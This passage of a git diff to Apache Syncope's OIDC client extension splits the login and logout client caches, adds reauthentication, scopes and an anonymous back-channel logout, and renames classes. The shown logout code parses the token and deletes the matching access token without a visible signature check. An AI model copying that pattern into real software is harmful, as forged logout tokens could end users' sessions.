oidcClientCache.get(op.getName()). + map(oidcClient -> { + Optional.ofNullable(callbackUrl). + filter(c -> !c.equals(oidcClient.getCallbackUrl())). + ifPresent(oidcClient::setCallbackUrl); + return oidcClient; + }). + orElseGet(() -> oidcClientCache.add(op, callbackUrl)); } @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") - public OIDCRequest createLoginRequest(final String redirectURI, final String opName) { + public OIDCRequest createLoginRequest(final String redirectURI, final String opName, final boolean reauth) { + // 0. look for OP + OIDCC4UIProvider op = Optional.ofNullable(opDAO.findByName(opName)). + orElseThrow(() -> new NotFoundException("OIDC Provider '" + opName + '\'')); + // 1. look for OidcClient - OidcClient oidcClient = getOidcClient(opName, redirectURI); - oidcClient.setCallbackUrl(redirectURI); + OidcClient oidcClient = getOidcClient(oidcClientCacheLogin, op, redirectURI); + + oidcClient.setRedirectionActionBuilder(new OidcRedirectionActionBuilder(oidcClient) { + + @Override + protected Map buildParams(final WebContext webContext) { + Map params = super.buildParams(webContext); + if (reauth) { + params.put(OidcConfiguration.PROMPT, "login"); + params.put(OidcConfiguration.MAX_AGE, "0"); + } + return params; + } + }); // 2. create OIDCRequest - WithLocationAction action = oidcClient.getRedirectionAction(new OIDC4UIContext(), NoOpSessionStore.INSTANCE). + WithLocationAction action = oidcClient.getRedirectionAction(new OIDCC4UIContext(), NoOpSessionStore.INSTANCE). map(WithLocationAction.class::cast). orElseThrow(() -> { SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.Unknown); @@ -126,14 +158,11 @@ public OIDCRequest createLoginRequest(final String redirectURI, final String opN @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") public OIDCLoginResponse login(final String redirectURI, final String authorizationCode, final String opName) { // 0. look for OP - OIDCC4UIProvider op = opDAO.findByName(opName); - if (op == null) { - throw new NotFoundException("OIDC Provider '" + opName + '\''); - } + OIDCC4UIProvider op = Optional.ofNullable(opDAO.findByName(opName)). + orElseThrow(() -> new NotFoundException("OIDC Provider '" + opName + '\'')); // 1. look for configured client - OidcClient oidcClient = getOidcClient(opName, redirectURI); - oidcClient.setCallbackUrl(redirectURI); + OidcClient oidcClient = getOidcClient(oidcClientCacheLogin, op, redirectURI); // 2. get OpenID Connect tokens String idTokenHint; @@ -142,12 +171,11 @@ public OIDCLoginResponse login(final String redirectURI, final String authorizat OidcCredentials credentials = new OidcCredentials(); credentials.setCode(new AuthorizationCode(authorizationCode)); - OIDC4UIContext ctx = new OIDC4UIContext(); - - oidcClient.getAuthenticator().validate(credentials, ctx, NoOpSessionStore.INSTANCE); + oidcClient.getAuthenticator().validate(credentials, new OIDCC4UIContext(), NoOpSessionStore.INSTANCE); - idToken = credentials.getIdToken().getJWTClaimsSet(); - idTokenHint = credentials.getIdToken().serialize(); + JWT jwt = credentials.getIdToken(); + idToken = jwt.getJWTClaimsSet(); + idTokenHint = jwt.serialize(); } catch (Exception e) { LOG.error("While validating Token Response", e); SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.Unknown); @@ -156,8 +184,8 @@ public OIDCLoginResponse login(final String redirectURI, final String authorizat } // 3. prepare the result - OIDCLoginResponse loginResponse = new OIDCLoginResponse(); - loginResponse.setLogoutSupported(StringUtils.isNotBlank(op.getEndSessionEndpoint())); + OIDCLoginResponse loginResp = new OIDCLoginResponse(); + loginResp.setLogoutSupported(StringUtils.isNotBlank(op.getEndSessionEndpoint())); // 3a. find matching user (if any) and return the received attributes String keyValue = idToken.getSubject(); @@ -165,21 +193,21 @@ public OIDCLoginResponse login(final String redirectURI, final String authorizat Attr attrTO = new Attr(); attrTO.setSchema(item.getExtAttrName()); - String value = idToken.getClaim(item.getExtAttrName()) == null - ? null - : idToken.getClaim(item.getExtAttrName()).toString(); + String value = Optional.ofNullable(idToken.getClaim(item.getExtAttrName())). + map(Object::toString). + orElse(null); if (value != null) { attrTO.getValues().add(value); - loginResponse.getAttrs().add(attrTO); + loginResp.getAttrs().add(attrTO); if (item.isConnObjectKey()) { keyValue = value; } } } - List matchingUsers = keyValue == null - ? List.of() - : userManager.findMatchingUser(keyValue, op.getConnObjectKeyItem().get()); + List matchingUsers = Optional.ofNullable(keyValue). + map(k -> userManager.findMatchingUser(k, op.getConnObjectKeyItem().get())). + orElseGet(List::of); LOG.debug("Found {} matching users for {}", matchingUsers.size(), keyValue); // 3b. not found: create or selfreg if configured @@ -190,23 +218,23 @@ public OIDCLoginResponse login(final String redirectURI, final String authorizat String defaultUsername = keyValue; username = AuthContextUtils.callAsAdmin(AuthContextUtils.getDomain(), - () -> userManager.create(op, loginResponse, defaultUsername)); + () -> userManager.create(op, loginResp, defaultUsername)); } else if (op.isSelfRegUnmatching()) { UserTO userTO = new UserTO(); - userManager.fill(op, loginResponse, userTO); + userManager.fill(op, loginResp, userTO); - loginResponse.getAttrs().clear(); - loginResponse.getAttrs().addAll(userTO.getPlainAttrs()); + loginResp.getAttrs().clear(); + loginResp.getAttrs().addAll(userTO.getPlainAttrs()); if (StringUtils.isNotBlank(userTO.getUsername())) { - loginResponse.setUsername(userTO.getUsername()); + loginResp.setUsername(userTO.getUsername()); } else { - loginResponse.setUsername(keyValue); + loginResp.setUsername(keyValue); } - loginResponse.setSelfReg(true); + loginResp.setSelfReg(true); - return loginResponse; + return loginResp; } else { throw new NotFoundException(Optional.ofNullable(keyValue). map(value -> "User matching the provided value " + value). @@ -219,13 +247,13 @@ public OIDCLoginResponse login(final String redirectURI, final String authorizat LOG.debug("About to update {} for {}", matchingUsers.get(0), keyValue); username = AuthContextUtils.callAsAdmin(AuthContextUtils.getDomain(), - () -> userManager.update(matchingUsers.get(0), op, loginResponse)); + () -> userManager.update(matchingUsers.get(0), op, loginResp)); } else { username = matchingUsers.get(0); } } - loginResponse.setUsername(username); + loginResp.setUsername(username); // 4. generate JWT for further access Map claims = new HashMap<>(); @@ -235,18 +263,22 @@ public OIDCLoginResponse login(final String redirectURI, final String authorizat byte[] authorities = null; try { authorities = ENCRYPTOR.encode(POJOHelper.serialize( - authDataAccessor.getAuthorities(loginResponse.getUsername(), null)), CipherAlgorithm.AES). + authDataAccessor.getAuthorities(loginResp.getUsername(), null)), CipherAlgorithm.AES). getBytes(); } catch (Exception e) { LOG.error("Could not fetch authorities", e); } - Pair accessTokenInfo = - accessTokenDataBinder.create(loginResponse.getUsername(), claims, authorities, true); - loginResponse.setAccessToken(accessTokenInfo.getLeft()); - loginResponse.setAccessTokenExpiryTime(accessTokenInfo.getRight()); + Pair accessTokenInfo = accessTokenDataBinder.create( + Optional.ofNullable(idToken.getClaim(Pac4jConstants.OIDC_CLAIM_SESSIONID)).map(Object::toString), + loginResp.getUsername(), + claims, + authorities, + true); + loginResp.setAccessToken(accessTokenInfo.getLeft()); + loginResp.setAccessTokenExpiryTime(accessTokenInfo.getRight()); - return loginResponse; + return loginResp; } @PreAuthorize("isAuthenticated() and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "'))") @@ -261,18 +293,19 @@ public OIDCRequest createLogoutRequest(final String accessToken, final String re sce.getElements().add(e.getMessage()); throw sce; } + String opName = (String) claimsSet.getClaim(JWT_CLAIM_OP_NAME); // 1. look for OidcClient - OidcClient oidcClient = - getOidcClient((String) claimsSet.getClaim(JWT_CLAIM_OP_NAME), redirectURI); - oidcClient.setCallbackUrl(redirectURI); + OIDCC4UIProvider op = Optional.ofNullable(opDAO.findByName(opName)). + orElseThrow(() -> new NotFoundException("OIDC Provider '" + opName + '\'')); + OidcClient oidcClient = getOidcClient(oidcClientCacheLogout, op, redirectURI); // 2. create OIDCRequest OidcProfile profile = new OidcProfile(); profile.setIdTokenString((String) claimsSet.getClaim(JWT_CLAIM_ID_TOKEN)); WithLocationAction action = oidcClient.getLogoutAction( - new OIDC4UIContext(), + new OIDCC4UIContext(), NoOpSessionStore.INSTANCE, profile, redirectURI). @@ -288,6 +321,24 @@ public OIDCRequest createLogoutRequest(final String accessToken, final String re return logoutRequest; } + @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") + public void backChannelLogout(final String logoutToken, final String redirectURI) { + // 0. parse the logout token + JWTClaimsSet claimsSet; + try { + SignedJWT jwt = SignedJWT.parse(logoutToken); + claimsSet = jwt.getJWTClaimsSet(); + } catch (ParseException e) { + SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.InvalidAccessToken); + sce.getElements().add(e.getMessage()); + throw sce; + } + + // 1. delete the JWT + Optional.ofNullable(claimsSet.getClaim(Pac4jConstants.OIDC_CLAIM_SESSIONID)). + map(String.class::cast).ifPresent(accessTokenDAO::delete); + } + @Override protected EntityTO resolveReference( final Method method, final Object... args) throws UnresolvedReferenceException { diff --git a/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/OIDCC4UILogicContext.java b/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/OIDCC4UILogicContext.java index 7b3203d03de..5b1bb6a584c 100644 --- a/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/OIDCC4UILogicContext.java +++ b/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/OIDCC4UILogicContext.java @@ -21,6 +21,7 @@ import org.apache.syncope.core.logic.init.OIDCC4UILoader; import org.apache.syncope.core.logic.oidc.OIDCClientCache; import org.apache.syncope.core.logic.oidc.OIDCUserManager; +import org.apache.syncope.core.persistence.api.dao.AccessTokenDAO; import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; import org.apache.syncope.core.persistence.api.dao.OIDCC4UIProviderDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; @@ -32,6 +33,7 @@ import org.apache.syncope.core.provisioning.java.pushpull.InboundMatcher; import org.apache.syncope.core.provisioning.java.utils.TemplateUtils; import org.apache.syncope.core.spring.security.AuthDataAccessor; +import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; @@ -39,9 +41,15 @@ @Configuration(proxyBeanMethods = false) public class OIDCC4UILogicContext { - @ConditionalOnMissingBean + @ConditionalOnMissingBean(name = "oidcClientCacheLogin") @Bean - public OIDCClientCache oidcClientCache() { + public OIDCClientCache oidcClientCacheLogin() { + return new OIDCClientCache(); + } + + @ConditionalOnMissingBean(name = "oidcClientCacheLogout") + @Bean + public OIDCClientCache oidcClientCacheLogout() { return new OIDCClientCache(); } @@ -75,23 +83,36 @@ public OIDCUserManager oidcUserManager( @ConditionalOnMissingBean @Bean public OIDCC4UILogic oidcc4UILogic( - final OIDCC4UIProviderDAO opDAO, - final OIDCClientCache oidcClientCache, + @Qualifier("oidcClientCacheLogin") + final OIDCClientCache oidcClientCacheLogin, + @Qualifier("oidcClientCacheLogout") + final OIDCClientCache oidcClientCacheLogout, final AuthDataAccessor authDataAccessor, final AccessTokenDataBinder accessTokenDataBinder, + final OIDCC4UIProviderDAO opDAO, + final AccessTokenDAO accessTokenDAO, final OIDCUserManager userManager) { - return new OIDCC4UILogic(oidcClientCache, authDataAccessor, - accessTokenDataBinder, opDAO, userManager); + return new OIDCC4UILogic( + oidcClientCacheLogin, + oidcClientCacheLogout, + authDataAccessor, + accessTokenDataBinder, + opDAO, + accessTokenDAO, + userManager); } @ConditionalOnMissingBean @Bean public OIDCC4UIProviderLogic oidcc4UIProviderLogic( + @Qualifier("oidcClientCacheLogin") + final OIDCClientCache oidcClientCacheLogin, + @Qualifier("oidcClientCacheLogout") + final OIDCClientCache oidcClientCacheLogout, final OIDCC4UIProviderDAO opDAO, - final OIDCClientCache oidcClientCache, final OIDCC4UIProviderDataBinder binder) { - return new OIDCC4UIProviderLogic(oidcClientCache, opDAO, binder); + return new OIDCC4UIProviderLogic(oidcClientCacheLogin, oidcClientCacheLogout, opDAO, binder); } } diff --git a/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/OIDCC4UIProviderLogic.java b/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/OIDCC4UIProviderLogic.java index 695c37bdba7..30ceda618ff 100644 --- a/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/OIDCC4UIProviderLogic.java +++ b/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/OIDCC4UIProviderLogic.java @@ -18,15 +18,18 @@ */ package org.apache.syncope.core.logic; +import com.nimbusds.oauth2.sdk.ParseException; +import java.io.IOException; import java.lang.reflect.Method; import java.util.List; +import java.util.Optional; import java.util.stream.Collectors; import org.apache.commons.lang3.ArrayUtils; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.to.Item; import org.apache.syncope.common.lib.to.OIDCC4UIProviderTO; import org.apache.syncope.common.lib.types.ClientExceptionType; -import org.apache.syncope.common.lib.types.OIDC4UIEntitlement; +import org.apache.syncope.common.lib.types.OIDCC4UIEntitlement; import org.apache.syncope.core.logic.oidc.OIDCClientCache; import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.dao.OIDCC4UIProviderDAO; @@ -37,30 +40,41 @@ public class OIDCC4UIProviderLogic extends AbstractTransactionalLogic { - protected final OIDCClientCache oidcClientClientCache; + protected final OIDCClientCache oidcClientCacheLogin; + + protected final OIDCClientCache oidcClientCacheLogout; protected final OIDCC4UIProviderDAO opDAO; protected final OIDCC4UIProviderDataBinder binder; public OIDCC4UIProviderLogic( - final OIDCClientCache oidcClientClientCache, + final OIDCClientCache oidcClientCacheLogin, + final OIDCClientCache oidcClientCacheLogout, final OIDCC4UIProviderDAO opDAO, final OIDCC4UIProviderDataBinder binder) { - this.oidcClientClientCache = oidcClientClientCache; + this.oidcClientCacheLogin = oidcClientCacheLogin; + this.oidcClientCacheLogout = oidcClientCacheLogout; this.opDAO = opDAO; this.binder = binder; } - @PreAuthorize("hasRole('" + OIDC4UIEntitlement.OP_CREATE + "')") + @PreAuthorize("hasRole('" + OIDCC4UIEntitlement.OP_CREATE + "')") public String createFromDiscovery(final OIDCC4UIProviderTO opTO) { - OIDCClientCache.importMetadata(opTO); - - return create(opTO); + try { + OIDCClientCache.importMetadata(opTO); + + return create(opTO); + } catch (IOException | InterruptedException | ParseException e) { + LOG.error("While getting the Discovery Document for {}", opTO.getIssuer(), e); + SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.Unknown); + sce.getElements().add(e.getMessage()); + throw sce; + } } - @PreAuthorize("hasRole('" + OIDC4UIEntitlement.OP_CREATE + "')") + @PreAuthorize("hasRole('" + OIDCC4UIEntitlement.OP_CREATE + "')") public String create(final OIDCC4UIProviderTO opTO) { if (opTO.getConnObjectKeyItem() == null) { Item connObjectKeyItem = new Item(); @@ -80,22 +94,19 @@ public List list() { return opDAO.findAll().stream().map(binder::getOIDCProviderTO).collect(Collectors.toList()); } - @PreAuthorize("hasRole('" + OIDC4UIEntitlement.OP_READ + "')") + @PreAuthorize("hasRole('" + OIDCC4UIEntitlement.OP_READ + "')") @Transactional(readOnly = true) public OIDCC4UIProviderTO read(final String key) { - OIDCC4UIProvider op = opDAO.find(key); - if (op == null) { - throw new NotFoundException("OIDC Provider '" + key + '\''); - } + OIDCC4UIProvider op = Optional.ofNullable(opDAO.find(key)). + orElseThrow(() -> new NotFoundException("OIDC Provider '" + key + '\'')); + return binder.getOIDCProviderTO(op); } - @PreAuthorize("hasRole('" + OIDC4UIEntitlement.OP_UPDATE + "')") + @PreAuthorize("hasRole('" + OIDCC4UIEntitlement.OP_UPDATE + "')") public void update(final OIDCC4UIProviderTO opTO) { - OIDCC4UIProvider op = opDAO.find(opTO.getKey()); - if (op == null) { - throw new NotFoundException("OIDC Provider '" + opTO.getKey() + '\''); - } + OIDCC4UIProvider op = Optional.ofNullable(opDAO.find(opTO.getKey())). + orElseThrow(() -> new NotFoundException("OIDC Provider '" + opTO.getKey() + '\'')); if (!op.getIssuer().equals(opTO.getIssuer())) { LOG.error("Issuers do not match: expected {}, found {}", @@ -104,22 +115,20 @@ public void update(final OIDCC4UIProviderTO opTO) { sce.getElements().add("Issuers do not match"); throw sce; } - String opName = op.getName(); binder.update(op, opTO); - oidcClientClientCache.removeAll(opName); + oidcClientCacheLogin.removeAll(op.getName()); + oidcClientCacheLogout.removeAll(op.getName()); } - @PreAuthorize("hasRole('" + OIDC4UIEntitlement.OP_DELETE + "')") + @PreAuthorize("hasRole('" + OIDCC4UIEntitlement.OP_DELETE + "')") public void delete(final String key) { - OIDCC4UIProvider op = opDAO.find(key); - if (op == null) { - throw new NotFoundException("OIDC Provider '" + key + '\''); - } - String opName = op.getName(); + OIDCC4UIProvider op = Optional.ofNullable(opDAO.find(key)). + orElseThrow(() -> new NotFoundException("OIDC Provider '" + key + '\'')); opDAO.delete(key); - oidcClientClientCache.removeAll(opName); + oidcClientCacheLogin.removeAll(op.getName()); + oidcClientCacheLogout.removeAll(op.getName()); } @Override diff --git a/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/init/OIDCC4UILoader.java b/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/init/OIDCC4UILoader.java index b6f2722f961..d4e4f3e4d8d 100644 --- a/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/init/OIDCC4UILoader.java +++ b/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/init/OIDCC4UILoader.java @@ -20,20 +20,21 @@ import org.apache.syncope.common.lib.types.EntitlementsHolder; import org.apache.syncope.common.lib.types.ImplementationTypesHolder; -import org.apache.syncope.common.lib.types.OIDC4UIEntitlement; +import org.apache.syncope.common.lib.types.OIDCC4UIEntitlement; import org.apache.syncope.common.lib.types.OIDCClientImplementationType; import org.apache.syncope.core.persistence.api.SyncopeCoreLoader; +import org.springframework.core.Ordered; public class OIDCC4UILoader implements SyncopeCoreLoader { @Override public int getOrder() { - return 1000; + return Ordered.HIGHEST_PRECEDENCE; } @Override public void load() { - EntitlementsHolder.getInstance().addAll(OIDC4UIEntitlement.values()); + EntitlementsHolder.getInstance().addAll(OIDCC4UIEntitlement.values()); ImplementationTypesHolder.getInstance().putAll(OIDCClientImplementationType.values()); } } diff --git a/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/oidc/OIDC4UIContext.java b/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/oidc/OIDCC4UIContext.java similarity index 98% rename from ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/oidc/OIDC4UIContext.java rename to ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/oidc/OIDCC4UIContext.java index deaed5f6d73..9ee3f8aba81 100644 --- a/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/oidc/OIDC4UIContext.java +++ b/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/oidc/OIDCC4UIContext.java @@ -26,7 +26,7 @@ import org.pac4j.core.context.Cookie; import org.pac4j.core.context.WebContext; -public class OIDC4UIContext implements WebContext { +public class OIDCC4UIContext implements WebContext { @Override public String getRequestMethod() { diff --git a/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/oidc/OIDCClientCache.java b/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/oidc/OIDCClientCache.java index 6a34c71d505..503860d17c6 100644 --- a/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/oidc/OIDCClientCache.java +++ b/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/oidc/OIDCClientCache.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.core.logic.oidc; +import com.nimbusds.jose.JWSAlgorithm; import com.nimbusds.oauth2.sdk.ParseException; import com.nimbusds.oauth2.sdk.id.Issuer; import com.nimbusds.openid.connect.sdk.SubjectType; @@ -31,9 +32,8 @@ import java.util.Collections; import java.util.List; import java.util.Optional; -import org.apache.syncope.common.lib.SyncopeClientException; +import java.util.function.Function; import org.apache.syncope.common.lib.to.OIDCC4UIProviderTO; -import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.core.persistence.api.entity.OIDCC4UIProvider; import org.pac4j.core.http.callback.NoParameterCallbackUrlResolver; import org.pac4j.oidc.client.OidcClient; @@ -48,27 +48,24 @@ public class OIDCClientCache { protected static final Logger LOG = LoggerFactory.getLogger(OIDCClientCache.class); - protected final List cache = Collections.synchronizedList(new ArrayList<>()); + protected static final Function DISCOVERY_URI = + issuer -> issuer + "/.well-known/openid-configuration"; - protected static OIDCProviderMetadata getDiscoveryDocument(final String issuer) { - String discoveryDocumentURL = issuer + "/.well-known/openid-configuration"; - try { - HttpResponse response = HttpClient.newBuilder().build().send( - HttpRequest.newBuilder(URI.create(discoveryDocumentURL)).GET().build(), - HttpResponse.BodyHandlers.ofString()); + protected static OIDCProviderMetadata fetchMetadata(final String issuer) + throws IOException, InterruptedException, ParseException { - return OIDCProviderMetadata.parse(response.body()); - } catch (IOException | InterruptedException | ParseException e) { - LOG.error("While getting the Discovery Document at {}", discoveryDocumentURL, e); + String discoveryDocumentURI = DISCOVERY_URI.apply(issuer); + HttpResponse response = HttpClient.newBuilder().build().send( + HttpRequest.newBuilder(URI.create(discoveryDocumentURI)).GET().build(), + HttpResponse.BodyHandlers.ofString()); - SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.Unknown); - sce.getElements().add(e.getMessage()); - throw sce; - } + return OIDCProviderMetadata.parse(response.body()); } - public static void importMetadata(final OIDCC4UIProviderTO opTO) { - OIDCProviderMetadata metadata = getDiscoveryDocument(opTO.getIssuer()); + public static void importMetadata(final OIDCC4UIProviderTO opTO) + throws IOException, InterruptedException, ParseException { + + OIDCProviderMetadata metadata = fetchMetadata(opTO.getIssuer()); opTO.setIssuer( Optional.ofNullable(metadata.getIssuer()).map(Issuer::getValue).orElse(null)); @@ -82,13 +79,22 @@ public static void importMetadata(final OIDCC4UIProviderTO opTO) { Optional.ofNullable(metadata.getUserInfoEndpointURI()).map(URI::toASCIIString).orElse(null)); opTO.setEndSessionEndpoint( Optional.ofNullable(metadata.getEndSessionEndpointURI()).map(URI::toASCIIString).orElse(null)); + Optional.ofNullable(metadata.getScopes()).ifPresent(s -> opTO.getScopes().addAll(s.toStringList())); } + protected final List cache = Collections.synchronizedList(new ArrayList<>()); + public Optional get(final String opName) { return cache.stream().filter(c -> opName.equals(c.getName())).findFirst(); } public OidcClient add(final OIDCC4UIProvider op, final String callbackUrl) { + OidcConfiguration cfg = new OidcConfiguration(); + cfg.setClientId(op.getClientID()); + cfg.setSecret(op.getClientSecret()); + cfg.setScope(String.join(" ", op.getScopes())); + cfg.setUseNonce(false); + OIDCProviderMetadata metadata = new OIDCProviderMetadata( new Issuer(op.getIssuer()), List.of(SubjectType.PUBLIC), @@ -101,20 +107,23 @@ public OidcClient add(final OIDCC4UIProvider op, final String callbackUrl) { Optional.ofNullable(op.getUserinfoEndpoint()).map(URI::create).orElse(null)); metadata.setEndSessionEndpointURI( Optional.ofNullable(op.getEndSessionEndpoint()).map(URI::create).orElse(null)); + if (op.getHasDiscovery()) { + try { + metadata.setIDTokenJWSAlgs(fetchMetadata(op.getIssuer()).getIDTokenJWSAlgs()); + } catch (Exception e) { + LOG.error("While fetching OIDC metadata for issuer {}", op.getIssuer(), e); + metadata.setIDTokenJWSAlgs(List.of(JWSAlgorithm.HS256)); + } + } + cfg.setProviderMetadata(metadata); - OidcConfiguration config = new OidcConfiguration(); - config.setClientId(op.getClientID()); - config.setSecret(op.getClientSecret()); - config.setProviderMetadata(metadata); - config.setScope("openid profile email address phone offline_access"); - config.setUseNonce(false); - config.setLogoutHandler(new NoOpLogoutHandler()); - - OidcClient client = new OidcClient(config); + OidcClient client = new OidcClient(cfg); client.setName(op.getName()); client.setCallbackUrlResolver(new NoParameterCallbackUrlResolver()); client.setCallbackUrl(callbackUrl); client.init(); + + cache.add(client); return client; } diff --git a/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/oidc/OIDCUserManager.java b/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/oidc/OIDCUserManager.java index 36c5f6b0ecc..2f9040c4e63 100644 --- a/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/oidc/OIDCUserManager.java +++ b/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/oidc/OIDCUserManager.java @@ -30,7 +30,6 @@ import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.AnyOperations; import org.apache.syncope.common.lib.Attr; -import org.apache.syncope.common.lib.EntityTOUtils; import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.oidc.OIDCLoginResponse; import org.apache.syncope.common.lib.request.UserCR; @@ -201,14 +200,11 @@ public String create(final OIDCC4UIProvider op, final OIDCLoginResponse response templateUtils.apply(userCR, op.getUserTemplate().get()); } - List actions = getActions(op); - for (OIDCC4UIProviderActions action : actions) { - userCR = action.beforeCreate(userCR, responseTO); - } - UserTO userTO = new UserTO(); fill(op, responseTO, userTO); - EntityTOUtils.toAnyCR(userTO, userCR); + + Optional.ofNullable(userTO.getUsername()).ifPresent(userCR::setUsername); + userCR.getPlainAttrs().addAll(userTO.getPlainAttrs()); if (userCR.getRealm() == null) { userCR.setRealm(SyncopeConstants.ROOT_REALM); @@ -217,6 +213,11 @@ public String create(final OIDCC4UIProvider op, final OIDCLoginResponse response userCR.setUsername(defaultUsername); } + List actions = getActions(op); + for (OIDCC4UIProviderActions action : actions) { + userCR = action.beforeCreate(userCR, responseTO); + } + Pair> created = provisioningManager.create(userCR, false, userCR.getUsername(), OIDC_CLIENT_CONTEXT); userTO = binder.getUserTO(created.getKey()); diff --git a/ext/oidcc4ui/persistence-api/pom.xml b/ext/oidcc4ui/persistence-api/pom.xml index 1244b02c7cc..84ca2e27cd2 100644 --- a/ext/oidcc4ui/persistence-api/pom.xml +++ b/ext/oidcc4ui/persistence-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-oidcc4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: OIDC C4UI Persistence API diff --git a/ext/oidcc4ui/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/OIDCC4UIProvider.java b/ext/oidcc4ui/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/OIDCC4UIProvider.java index 325ec18beeb..07df700a169 100644 --- a/ext/oidcc4ui/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/OIDCC4UIProvider.java +++ b/ext/oidcc4ui/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/OIDCC4UIProvider.java @@ -60,6 +60,10 @@ public interface OIDCC4UIProvider extends Entity { void setEndSessionEndpoint(String endSessionEndpoint); + List getScopes(); + + void setScopes(List scopes); + boolean getHasDiscovery(); void setHasDiscovery(boolean hasDiscovery); diff --git a/ext/oidcc4ui/persistence-jpa/pom.xml b/ext/oidcc4ui/persistence-jpa/pom.xml index 5a18f36df7d..ec292dc37c6 100644 --- a/ext/oidcc4ui/persistence-jpa/pom.xml +++ b/ext/oidcc4ui/persistence-jpa/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-oidcc4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: OIDC C4UI Persistence JPA diff --git a/ext/oidcc4ui/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAOIDCC4UIProvider.java b/ext/oidcc4ui/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAOIDCC4UIProvider.java index 152c277b6ea..4041daf6467 100644 --- a/ext/oidcc4ui/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAOIDCC4UIProvider.java +++ b/ext/oidcc4ui/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAOIDCC4UIProvider.java @@ -22,6 +22,8 @@ import java.util.ArrayList; import java.util.List; import java.util.Optional; +import java.util.stream.Collectors; +import java.util.stream.Stream; import javax.persistence.Cacheable; import javax.persistence.CascadeType; import javax.persistence.Column; @@ -47,6 +49,7 @@ import org.apache.syncope.core.persistence.api.entity.OIDCC4UIUserTemplate; import org.apache.syncope.core.persistence.jpa.validation.entity.OIDCC4UIProviderCheck; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; +import org.springframework.util.CollectionUtils; @Entity @Table(name = JPAOIDCC4UIProvider.TABLE) @@ -85,6 +88,8 @@ public class JPAOIDCC4UIProvider extends AbstractGeneratedKeyEntity implements O @Column(nullable = true) private String endSessionEndpoint; + private String scopes; + @Column(nullable = false) private boolean hasDiscovery; @@ -204,6 +209,20 @@ public void setEndSessionEndpoint(final String endSessionEndpoint) { this.endSessionEndpoint = endSessionEndpoint; } + @Override + public List getScopes() { + return Optional.ofNullable(scopes). + map(s -> Stream.of(s.split(" ")).collect(Collectors.toList())). + orElse(List.of()); + } + + @Override + public void setScopes(final List scopes) { + this.scopes = CollectionUtils.isEmpty(scopes) + ? "" + : scopes.stream().collect(Collectors.joining(" ")); + } + @Override public boolean getHasDiscovery() { return hasDiscovery; diff --git a/ext/oidcc4ui/pom.xml b/ext/oidcc4ui/pom.xml index 353aa839123..a07d2575123 100644 --- a/ext/oidcc4ui/pom.xml +++ b/ext/oidcc4ui/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-ext - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: OIDC C4UI diff --git a/ext/oidcc4ui/provisioning-api/pom.xml b/ext/oidcc4ui/provisioning-api/pom.xml index 1da6fe4b145..b64676d88c7 100644 --- a/ext/oidcc4ui/provisioning-api/pom.xml +++ 